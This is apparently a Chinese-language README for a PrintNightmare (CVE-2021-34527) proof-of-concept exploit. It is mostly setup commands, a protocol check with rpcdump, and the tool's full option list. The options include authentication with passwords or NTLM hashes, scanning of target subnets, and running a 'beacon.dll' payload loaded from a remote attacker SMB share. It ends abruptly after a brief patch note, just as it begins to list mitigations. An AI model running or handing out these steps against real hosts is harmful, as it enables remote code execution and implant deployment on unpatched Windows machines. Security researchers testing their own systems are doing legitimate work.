
PrintNightmare (CVE-2021-34527) PoC Exploit
本版本的PrintNightmare漏洞利用基于Cube0x0创建的代码,具有以下特点:
MS-RPRN和MS-PAR两种协议(在CMD参数中定义)。运行前,请安装最新版本的impacket:
git clone https://github.com/SecureAuthCorp/impacket
cd impacket
python3 setup install
git clone https://github.com/m8sec/CVE-2021-34527
cd CVE-2021-34527
python3 CVE-2021-34527.py -h
Impacket的rpcdump.py可用于检查MS-PAR和MS-RPRN协议:
>> rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
或者,byt3bl33d3r的扫描器ItWasAllADream可用于扫描目标并验证PrintNightmare RCE漏洞。

-v VERBOSE 启用SMB服务器的详细日志记录
-t TIMEOUT 连接超时
身份验证:
-u USERNAME 设置用户名
-H HASH, -hashes 使用NTLM哈希进行身份验证
-p PASSWORD 设置密码
-d DOMAIN 设置域名
--local-auth 对目标主机进行本地身份验证(无域)
DLL执行:
-dll DLL 要执行的本地DLL文件路径 "beacon.dll"
--remote-dll REMOTE_DLL 远程DLL "\\192.168.1.25\Share\beacon.dll"
-share SHARE 设置本地SMB共享名称
--local-ip LOCAL_IP 设置本地IP(默认为主接口)
目标:
-pDriverPath PDRIVERPATH 定义驱动程序路径。示例 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL'
-port [destination port] 连接到SMB服务器的目标端口
-proto {MS-RPRN,MS-PAR} 目标协议(默认=MS-RPRN)
target 192.168.2.2, target.txt, 10.0.0.0/24(位置参数)
微软已发布多个PrintNightmare补丁,最近一次是在2021年9月的补丁星期二。此补丁解决了底层漏洞及后来发现的变通方法。更多信息请访问微软官方指南:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
用于缓解此漏洞的附加策略包括: